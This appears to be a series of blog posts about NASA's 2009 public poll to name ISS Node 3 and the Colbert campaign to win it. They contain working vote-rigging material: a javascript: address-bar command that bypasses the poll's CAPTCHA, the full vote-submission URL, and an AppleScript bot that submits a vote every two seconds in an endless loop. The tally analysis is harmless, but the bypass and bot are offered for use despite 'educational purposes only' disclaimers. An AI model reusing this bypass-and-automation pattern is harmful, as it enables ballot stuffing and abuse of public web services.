Node 3 Poll Final Tallies

According to AP, Colbert won the Node 3 naming contest. They say that Colbert shut out Serenity by over 40000 votes.

Let's take a look at the real numbers in play here. We'll be using this page's poll results and source code.

In total, 1190437 votes were cast in the poll. If you enter in the address bar

javascript:alert(document.getElementById( 'hiddenTotalVotes' ).value)

you'll see how many votes were cast for one of the four given options. I see that value as 265594. If 265594 votes were cast for the given options, then the remaining 924843 votes were for write-in suggestions.

Now Serenity received 70% of the given votes, or 185916 votes. If Colbert beat Serenity by 40000 votes, then Colbert had about 226000 votes.

How do those numbers stack up? Well, if you do an actual poll, Serenity received 15.6% of the vote, and Colbert received 19%.

At least it's now over until NASA announces their choice in April.

EDIT: Somehow, I missed the part of the AP release stating that Colbert got 230539 votes. OK, I wasn't too far off.

Hack the vote: In-the-Moment Running Vote Tallies

It turns out the Javascript running the vote results' frame on NASA's site is flawed too.

Open the frame in its own page (or just click here) and open up the page's source code. Scroll about a quarter of the way through, and you'll see some lines of code which look like this:


var totalNumVotes = eval(totalOpinioVotes)+eval(totalCommentsCount) ;
document.getElementById('totalNumVotes').innerHTML = totalNumVotes + totalVotesText ;


If you play around a little bit in the Javascript, you'll discover that "totalOpinioVotes" is the number of votes for one of the given choices (Earthrise, Legacy, Serenity, Venture), and "totalCommentsCount" is the number of votes for a write-in suggestion. These numbers are great, but they're a little hard to find. To solve this, scroll a little farther down the page, and you'll see a link to http://polls.nasa.gov/opinio/ps?s=2253. If the page loads correctly in your browser (which won't be particularly happy, just so you know), you'll see a low-quality version of the poll and two boxes containing the two vote counts in the hundred thousands.

As I make this post, the numbers stand as 176257 votes for givens and 387731 votes for write-ins.

You know how NASA is setting up the poll so it looks like Serenity is way out in front with 3/4ths of the vote? It's almost certainly not. Serenity has 75% of 176257 or about 132193 votes. A write-in suggestion can beat that with 35% of the write-in votes.

-------------

A side note: I talked to Dr. Tyson this evening, and I asked him about the Node 3 effort. He responded by saying that he wished Colbert would mobilize his viewers more productively, like to lobby Congress for increased NASA funding.

[Disclaimer: THIS INFORMATION IS FOR EDUCATIONAL PURPOSES ONLY. Please don't actively try to ruin or tamper with the poll.]

Colbert Bump Bot

I ended up building an Applescript which will vote for Colbert once every two seconds. Behold, the Colbert Bump Bot:

repeat
tell application "Safari"
activate
do JavaScript "window.location = 'http://comments-submit.nasa.gov/commenting1/Comment.do?location=http://polls.nasa.gov/voteform.html&siteID=245486071&username=guest&email=guest@dummy.com&comment=Colbert'" in document 1
delay 1
activate
do JavaScript "document.frmcomments.submit();" in document 1
delay 1
end tell
end repeat

Note that it will bring Safari into window focus every second, so don't plan on working while this is running.

[Disclaimer: THIS INFORMATION IS FOR EDUCATIONAL PURPOSES ONLY. Please don't actively try to ruin or tamper with the poll.]

Colbert vs. Xenu

It's been a long time since I've posted (spring break is soon, so there should be a flood of posts), but I just wanted to add my two bits to a current hot topic: Colbert vs. Xenu.

It all began when NASA decided that it was going to open up voting to the public for choosing the name of Node 3 on the ISS. Many /b/tards and wanna-/b/tards caught hold of this, and XENU quickly rose tot he top of the list of Top 10 Suggestions.

On March 3, 2009, Stephen Colbert said this on his show:

Link (click it now)

Then, on March 4:

Link (click this one too)

Later that day, Anonymous responded:



And so the battle begins. Personally, I support Colbert, but only because I feel like I'd rather have someone win for a humorous purpose than for a humorous purpose at others' expense. (Remember, even though I hate the Co$, the people still inside the Co$ could easily be hurt by this.)

Regardless of what you support, there is an easier way to vote. Apparently NASA didn't think too hard about the voting system, as it seems to simply be a form which sends a string to a server.

I'm going to set this up for Colbert. If you're a die-hard fan of Xenu, you're probably tech-savvy enough to replace the name of a faux-conservative talk show host with that of an intergalactic overlord.

The key link is here:

http://comments-submit.nasa.gov/commenting1/Comment.do?location=http://polls.nasa.gov/voteform.html&siteID=245486071&username=guest&email=guest@dummy.com&comment=Colbert

After you type in your suggestion for Node 3's name on NASA's website, this box is what pops up, with a word verification CAPTCHA.

Unfortunately, someone made a rather large mistake when they put together the voting form, because it turns out that the CAPTCHA can be by-passed.

If you open up the vote verification page's source code, you see that the variables in the URL are actually part of a form document named "document.frmcomments". If you know some Javascript, you should find it rather easy to follow the source code and discover that the submission process of the form is only based on the passing of an "if" clause.


if (data==1) {
document.getElementById("imageResp").innerHTML="Word Verification Matched.";
alert ("Word Verification Matched. Comment Submitted");
document.frmcomments.submit();

}


The NASA programmer behind this voting program forgot to install a second verification that the user actually entered the CAPTCHA! Therefore, we can skip entering the CAPTCHA over and over again, and simply enter the following code into the address bar:

javascript:document.frmcomments.submit();

We can verify that it accepted this code two ways: one, it didn't bounce an error message (as it does when you simply click the SUBMIT button), and two, it brought us to the URL which it brings you to after you complete the word verification normally.

[Disclaimer: THIS INFORMATION IS FOR EDUCATIONAL PURPOSES ONLY. Please don't actively try to ruin or tamper with the poll.]